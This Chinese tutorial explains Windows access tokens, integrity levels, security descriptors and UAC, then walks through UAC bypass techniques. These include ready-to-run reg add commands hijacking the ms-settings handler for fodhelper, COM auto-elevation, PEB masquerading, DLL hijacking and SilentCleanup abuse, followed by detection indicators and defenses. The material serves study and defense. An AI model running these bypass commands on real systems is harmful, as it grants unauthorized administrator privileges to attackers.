在日常运行某些程序时,如果出现一些 bug,我们会尝试右键,点击以管理员的身份运行,然后问题就解决了,而很多应用在双击的时侯,会直接弹出窗口,让我们点击确认,即使我们当前登录的就是管理员账号,这背后到底有什么秘密,看完这篇文章,相信一切都会明白的。
windows 的权限管理整体上来说,分为两部分,Access Token(访问令牌) 和 SD(安全描述符),Access Token 表示当前进程所具备的权限,而 SD 表示访问当前资源所需的操作权限,类似操作系统中的 CPL 和 DPL。
访问令牌(Access Token)是进程或线程的“安全身份证”,包含其安全上下文信息。可以分为主访问令牌(进程级令牌)和模拟令牌(线程级令牌)。
每个一个进程都有一个主访问令牌(Primary Token)这个令牌是在进程创建时从父进程或登录会话继承而来。而令牌内部包含不同类型的权限信息,每一种都对应一个 SID,常见的类型如下:
| 权限分类 | 说明 |
|---|---|
TokenUser | 主用户 SID(如 S-1-5-21-...-1001) |
TokenGroups | 所属组列表(含是否启用) |
TokenPrivileges | 特权列表(如 SeDebugPrivilege) |
TokenIntegrityLevel | 完整性级别 SID(如 S-1-16-8192) |
TokenType | TokenPrimary或 TokenImpersonation |
TokenElevation | 是否以管理员身份运行(UAC 相关) |
TokenSessionId | 会话 ID(用于终端服务) |
可以使用
OpenProcessToken、GetTokenInformation来查看令牌内容
Get-LocalUser | Select Name, SID #查看所有用户SID
Get-LocalGroup | Select Name, SID
Get-WmiObject Win32_UserAccount | Select Name, SID
whoami /all
表示当前进程所属用户、组信息
S-1-5-21-2352286992-1005746632-3940334147-1000
S-1-5-32-545
S:固定字符
1:修订级别
5:颁发机构
21:代表一个具体的用户、组或计算机账户,由 Windows 本地安全账户管理器(SAM)或 Active Directory创建的用户/组 。
32:系统自带的组
2352286992-1005746632-3940334147:这三个数字共同构成 该计算机(或域)的唯一标识符(Domain SID / Machine SID),也就是说,同一个主机中的所有用户,这一部分是一致的,在本地计算机上,这个三元组是在系统首次安装时由 Windows 随机生成的,全局唯一,在域环境中,这三元组由域控制器分配,代表整个域的 SID。
1000:用户 ID
| RID | 账户 | 说明 |
|---|---|---|
500 | Administrator | 默认管理员(本地) |
501 | Guest | 来宾账户 |
502 | KRBTGT | Kerberos 服务账户(域) |
512 | Domain Admins | 域管理员组(域) |
513 | Domain Users | 域用户组 |
544 | Administrators | 管理员组 |
545 | Users | 普通用户组 |
1000+ | 普通用户/组 | 本地创建的用户从 1000 或 1001 开始递增 |
完整性级别 SID:代表进程的访问权限
S-1-16-8192(Medium)
具体如下表
| 名称 | RID | 十进制 | 典型场景 |
|---|---|---|---|
| Untrusted | 0x0000 | 0 | |
| Low | 0x1000 | 4096 | 沙箱(如 IE Protected Mode)、浏览器插件、Office 宏 |
| Medium | 0x2000 | 8192 | 普通用户默认 |
| High | 0x3000 | 12288 | “以管理员身份运行”的程序 |
| System | 0x4000 | 16384 | 系统服务、驱动 |
特权列表,比较重要的是 SeDebugPrivilege特权,拥有此特权的进程可以打开、调试其他进程,很多安全软件、进程注入都是基于此特权的,只有 High IL权限的用户才能有此特权,而且需要通过 AdjustTokenPrivilegesAPI 启用
用户在登录界面输入 用户名 + 密码
Winlogon接收凭据,并将其传递给 LSA
LSA 加载认证包(如 msv1_0.dll,用于本地账户)
认证包:
从 SAM 数据库中取出该用户的密码哈希
将输入密码哈希后与之比对
验证成功 → 返回用户 SID、所属组、默认特权等信息
如果用户是 普通用户(非 Administrators 组成员):
LSA 直接基于用户信息创建一个 标准访问令牌:
Integrity Level = Medium
包含用户所属的所有组(如 Users)
包含默认特权(如 SeChangeNotifyPrivilege)
如果用户属于 Administrators 组,此时,LSA 会执行 UAC Split Token(令牌拆分)机制:
基于用户 SID 和所有组(包括 Administrators)
完整特权列表(包括 SeDebugPrivilege, SeTakeOwnershipPrivilege等)
Integrity Level = High
LSA 对完整令牌进行以下过滤:
| 过滤操作 | 说明 |
|---|---|
| 移除高危特权 | 如SeDebugPrivilege,SeBackupPrivilege等被完全移除 |
| 将 Administrators 组设为 "Deny-only" | 该组仍存在于令牌中,但仅用于拒绝访问(不能用于授权) |
| 完整性级别降为 Medium | IL = Medium(这是 UAC 隔离的关键) |
| 保留普通用户组 | 如 Users、Everyone 等 |
注意:这个 Filtered Token就是默认用于启动进程的令牌。
在 Filtered Token中设置一个指针,指向对应的 Full Token
可通过 API GetTokenInformation(TokenLinkedToken, ...)获取
这是 UAC 提权时能找到“另一个令牌”的关键
Winlogon 使用 Filtered Token(Medium IL)启动 userinit.exe→ explorer.exe
所有后续从 Explorer 启动的程序(双击 EXE、命令行等)继承此令牌
(Get-Acl ./test.txt).Sddl #导出文件的SDDL信息
SD(Security Descriptor,安全描述符)是实现对象级安全控制的核心数据结构。它定义了谁可以访问某个对象(如文件、注册表项、进程、线程、命名管道等),以及允许或拒绝哪些操作。
一个完整的 SD 通常包含以下四个主要部分(某些可选):
| 成员 | 说明 |
|---|---|
| Owner SID | 对象所有者的用户或组 SID |
| Group SID | 主要组 SID(在 Windows 中通常忽略) |
| DACL | 定义谁可以/不可以对对象执行哪些操作 |
| SACL | 定义哪些访问行为需要被审计(记录到安全日志) |
其中 DACL、SACL、IL 都是基于 ACE 格式实现的
typedef struct _SYSTEM_MANDATORY_LABEL_ACE {
ACE_HEADER Header; // AceType = SYSTEM_MANDATORY_LABEL_ACE_TYPE (0x11)
ACCESS_MASK Mask; // 通常为 NO_WRITE_UP, NO_READ_UP, NO_EXECUTE_UP
DWORD SidStart; // 指向一个 Integrity SID
} SYSTEM_MANDATORY_LABEL_ACE;
DACL 是一个 ACE(Access Control Entry,访问控制项)的列表,也是我们右键文件在安全中展示的不同用户的权限信息,ACE 主要的类型如下
| 类型 | 说明 |
|---|---|
ACCESS_ALLOWED_ACE | 允许指定用户/组执行某些操作 |
ACCESS_DENIED_ACE | 明确拒绝指定用户/组的某些操作 |
ACCESS_ALLOWED_OBJECT_ACE | 针对属性/子对象的细粒度允许(用于 AD) |
ACCESS_DENIED_OBJECT_ACE | 针对属性/子对象的细粒度拒绝 |
O:BAG:S-1-5-21-2352286992-1005746632-3940334147-513D:(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;FA;;;S-1-5-21-2352286992-1005746632-3940334147-1000)
O:BA:所属用户
BA:Built-in Administrators
G:S-1-5-21-2352286992-1005746632-3940334147-513D:所属组
(A;ID;FA;;;SY):ACE 格式
第一位:ACE 类型
A允许
第二位:继承标志
OI= Object Inherit(文件继承)
CI= Container Inherit(文件夹继承)
ID= OI+ CI
IO= Inherit Only(此 ACE 仅用于继承,不作用于当前对象)
NP= No Propagate(禁止向下进一步继承)
第三位:文件权限
FA:完全控制
RX= Read & Execute(读取和执行)
第四位、第五位:用于对象 ACE(Object ACE) ,比如 Active Directory 对象、带属性的安全对象等
第四位:指定此 ACE 保护的是对象的哪个“属性”或“子对象类型”
第五位:指定此 ACE 可以被哪些类型的子对象继承
第六位:用户
SY:system
指定哪些操作会被放入系统日志审核中,默认关闭,需要在地安全策略或组策略中启用了 “审核对象访问”(Audit object access)。
文件的 IL 以SYSTEM_MANDATORY_LABEL_ACE的形式,存储在安全描述符的 DACL 中。
默认使用创建文件进程的 IL,而不继承父目录。
(ML;;NW;;;S-1-16-8192):完整性标签
ML= Mandatory Label
NW= No Write up(默认标志,表示“禁止向更高完整性级别写入”)
S-1-16-8192= Medium Integrity
在 Windows Vista 引入了 Mandatory Integrity Control (MIC)机制,用于实现沙箱隔离(如 IE Protected Mode、Edge、Office 宏)。Windows 在 DACL 检查之前,先进行 完整性级别检查:
| 请求者 IL | 目标对象 IL | 默认允许的操作 |
|---|---|---|
| Low | Medium | 读、执行(受限) |
| Low | High | 无(完全隔离) |
| Medium | High | 读(部分场景),禁止写/注入 |
| High | System | 通常禁止 |
关键限制:
低完整性进程不能向高完整性进程发送窗口消息(UIPI)
例如模拟点击“确定”绕过 UAC
低完整性进程不能写入高完整性文件/注册表
低完整性进程不能打开高完整性进程的 HANDLE(如 PROCESS_VM_WRITE)
通过上面的介绍,我们知道了当一个进程的 IL 权限低于目标文件的 IL 时,是无法进行写入等敏感操作的,就算 DACL 允许都不行。为了限制管理员账号的权限,在 Windows Vista 及以后版本中引入了 UAC 机制。
传统 Windows(XP 及以前):管理员登录后,所有程序都拥有完整管理员权限 → 恶意软件可随意破坏系统。
UAC 改进:管理员账户(用户账户被加入Administrators 组中)被“拆分”为两个令牌:
标准用户令牌(Filtered Token):默认使用,权限受限(Medium IL)
管理员令牌(Full Token):仅在明确提权时使用(High IL)
注意:内置的Administrators 账户是不受UAC控制的,默认拥有High IL 令牌
当一个属于 Administrators 组的用户登录时,LSA(Local Security Authority)会创建 两个访问令牌:
| 令牌类型 | 权限特点 | 完整性级别 | 所属组 |
|---|---|---|---|
| Standard User Token(过滤令牌) | 移除了高危特权(如 SeDebugPrivilege),禁用 Administrators 组 SID | Medium (S-1-16-8192) | Users + 其他非管理员组 |
| Elevated Token(完整令牌) | 包含全部特权和 Administrators SID | High (S-1-16-12288) | Administrators + Users + 所有组 |
并不是当前账户通过UAC获得了High权限,而是UAC使用 High权限启动了新的进程
| 设置 | 非管理员用户 | 管理员用户 |
|---|---|---|
| 始终通知 | 提示输入凭据 | 提示确认 |
| 仅当应用尝试更改时通知(默认) | 提示输入凭据 | 静默同意(不提示)← 默认! |
| 仅当应用尝试更改时通知(无桌面 dimming) | 同上 | 同上(视觉效果不同) |
| 从不通知 | 自动拒绝提权 | 自动提升(危险!) |
注意:默认设置下,管理员运行提权程序不会弹窗!
用户在 administrator 组
UAC 提示等级默认之下,不是始终通知
注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System,有两个关键值
| 注册表值 | 类型 | 含义 |
|---|---|---|
ConsentPromptBehaviorAdmin | DWORD | 决定管理员账户的 UAC 行为 |
EnableLUA | DWORD | 是否启用 UAC(1=启用,0=禁用) |
ConsentPromptBehaviorAdmin的取值含义:
| 值 | UAC 等级(图形界面显示) | 行为说明 |
|---|---|---|
| 0 | 从不通知(最低) | 管理员静默提权,无提示(不推荐) |
| 1 | (仅 Win7/8 使用) | 需要凭据(类似标准用户) |
| 2 | (保留) | — |
| 3 | 默认(Windows 默认) | 提示但不锁屏(仅确认) |
| 4 | (保留) | — |
| 5 | 始终通知(最高) | 提示并锁屏(安全桌面) |
通过POWERSHELL查看
(Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).ConsentPromptBehaviorAdmin
(Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).EnableLUA
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v "DelegateExecute" /t REG_SZ /d "" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "cmd.exe /c start powershell.exe -ep bypass" /f #设置默认值为要执行的命令
1. fodhelper.exe
2. sdclt.exe /kickoffelev
3. C:\Windows\System32\computerdefaults.exe
reg 注册表操作
/v:指定要操作的键
/ve:表示操作的是默认值
/t:值的类型
RES_ZE:字符串
/d:具体的值
/f:强制执行
powershell
-ep:-ExecutionPolicy
bypass:绕过 PowerShell 执行策略限制(允许运行未签名脚本)
-F:脚本路径
-Command:后跟要执行的 PowerShell 命令(可多条,用分号 ;分隔)
执行完后自动退出(除非加 -NoExit)
正常情况下,当程序(如 fodhelper.exe)通过 ShellExecute调用 ms-settings:协议时:
如果存在 DelegateExecute值,Windows 会尝试加载对应的 COM 对象(更安全的现代方式)。
如果 不存在或为空,则回退到执行 (Default)值中的命令(旧式 command方式)。
因此清空DelegateExecute,强制 fodhelper.exe走老路径 → 执行 (Default)中的任意命令。
ms-settings是一个自定义协议,被设计处来允许应用程序或脚本通过调用ms-settings:<页面标识符>快速跳转到 Windows 设置应用中的某个具体面板,无需用户手动导航,因此一些系统设置相关的程序会在启动的时候自动执行ms-settings
默认情况下,
ms-settings协议由HKEY_LOCAL_MACHINE(HKLM)定义,指向安全的系统组件(如SystemSettings.exe)。但 Windows 优先检查当前用户的
HKEY_CURRENT_USER(HKCU)下是否存在同名协议:如果存在,则 覆盖系统默认行为。因此导致了被利用来进行UAC Bypass
注册表
HKCU\Software\Classes\下出现非标准协议(如 ms-settings, mscfile, computerdefaults)
存在 Shell\Open\command且 DelegateExecute为空
可疑进程树
explorer.exe
└─ fodhelper.exe (High IL) / sdclt.exe
└─ cmd.exe
└─ powershell.exe
ICMLuaUtil:UACme 41
MMC20: {49B2791A-B1AE-4C90-9B8E-E868BA8E76CC}
MMC10: {1D268049-1EEA-4A5C-B707-01D61D920046}
即使调用者只有Midlle IL 权限,系统也会自动以 High IL(高权限,管理员)启动该 COM 对象
通过 CoGetObject创建DOM对象
然后使用对象的ShellExec接口(本质上是对 ShellExecuteEx的封装)执行命令
[Medium IL Process]
│
├── CoGetObject("Elevation:...{CLSID}")
│
▼
[COM Subsystem] → 检查 CLSID 是否 auto-elevate?
│
├── 是 → 启动新进程: dllhost.exe (High IL)
│ │
│ └── 加载 CMSTPLUA.dll
│ │
│ └── 创建 CMLuaUtil 对象
│
◄────────────── 返回 ICMLuaUtil 接口指针
│
└── 调用 ShellExec("cmd.exe")
│
▼
[High IL cmd.exe] ← 无 UAC 弹窗!
DLL伪装
修改 PEB->ProcessParameters->ImagePathName为类似setup.exe
然后触发UAC提权,比如创建一个管理员权限的cmd
#构造SHELLEXECUTEINFO结构
SHELLEXECUTEINFO sei = {0};
sei.lpFile = L"cmd.exe";
sei.nShow = SW_SHOW;
sei.fMask = SEE_MASK_NOCLOSEPROCESS | SEE_MASK_FLAG_DDEWAIT;
sei.lpVerb = L"runas"; // 请求提权
ShellExecuteEx(&sei);
AppInfo 服务检查 cmd.exe的父进程(即当前进程)的 ImagePathName发现路径含 "setup.exe"→ 判定为“安装程序”
自动批准提权,不弹 UAC 窗口
DLL劫持:wsreset.exe
DLL加载顺序一般如下:
可执行文件当前所在目录
系统目录:%SystemRoot%\System32
16位系统目录:%SystemRoot%\System
Windows目录:%SystemRoot%
当前工作目录
PATH 环境变量中列出的目录
对于一些特殊的DLL:
已知 DLL(KnownDLLs)
某些核心系统 DLL(如 kernel32.dll, user32.dll)被注册为 KnownDLLs,系统会直接从\System32加载,跳过常规搜索顺序,且不会从其他位置加载,以增强安全性和性能。
清单文件(Manifest)或 Side-by-Side (SxS) 组件
如果程序使用了清单文件指定依赖的 DLL 版本,系统会优先从 WinSxS 缓存中加载。
利用DLL加载的优先级,让指定的进程加载我们伪造的dll
schtasks /delete /tn "name" /f #删除计划任务
schtasks /query /tn "任务名称" /v /fo list #查看详细内容
C:\Windows\System32\Tasks #计划任务路径
schtasks /run /tn "MyTask" #立即执行一次任务
schtasks /create /tn "MyStartupTask" /tr "C:\scripts\startup.bat" /sc onstart /ru SYSTEM /rl HIGHEST /f #创建计划任务
| 参数 | 说明 |
|---|---|
/tn | 任务名称(Task Name),支持路径如\MyTasks\MyTask |
/tr | 要运行的程序或命令(Task Run),需用引号包裹(如"C:\test.bat") |
/sc | 计划类型(Schedule):MINUTE,HOURLY,DAILY,WEEKLY,MONTHLY,ONCE,ONSTART,ONLOGON,ONIDLE |
/st | 开始时间(24 小时格式,如14:30) |
/sd | 开始日期(YYYY/MM/DD) |
/ed | 结束日期 |
/ri | 重复间隔(分钟),配合/du使用 |
/du | 持续时间(如01:00表示 1 小时) |
/f | 强制创建(覆盖同名任务) |
/ru | 运行任务的用户账户(如SYSTEM,Administrator, 或域用户) |
/rp | 用户密码(若/ru需要密码) |
/rl | 运行级别(仅限 Vista+):LIMITED(默认)或HIGHEST(以最高权限运行)需 UAC 允许 |
/it | 仅当用户已登录时交互式运行(常用于 GUI 程序) |
SilentCleanup
执行SilentCleanup定时任务时,cleanmgr.exe会读取 HKCU 下的StateFlags0001和Actions,因此如果攻击者将恶意命令写入注册表,就可以得到执行
通过上述这个例子,我们可以发现,Uac Bypass的整体思想,其实就分为两步
找到一个白名单(autoElevate)进程
想办法从他手中拿到shell的控制权
因此响应的防御手段,也是从这两点出发
启动UAC的“始终通知”模式
缩小白名单范围
禁用非必要 auto-elevate 组件(通过组策略或补丁)
升级系统,使用已移除 auto-elevate 的新版 Windows
启用DLL安全加载
必要的话,用户可以不加入本地管理组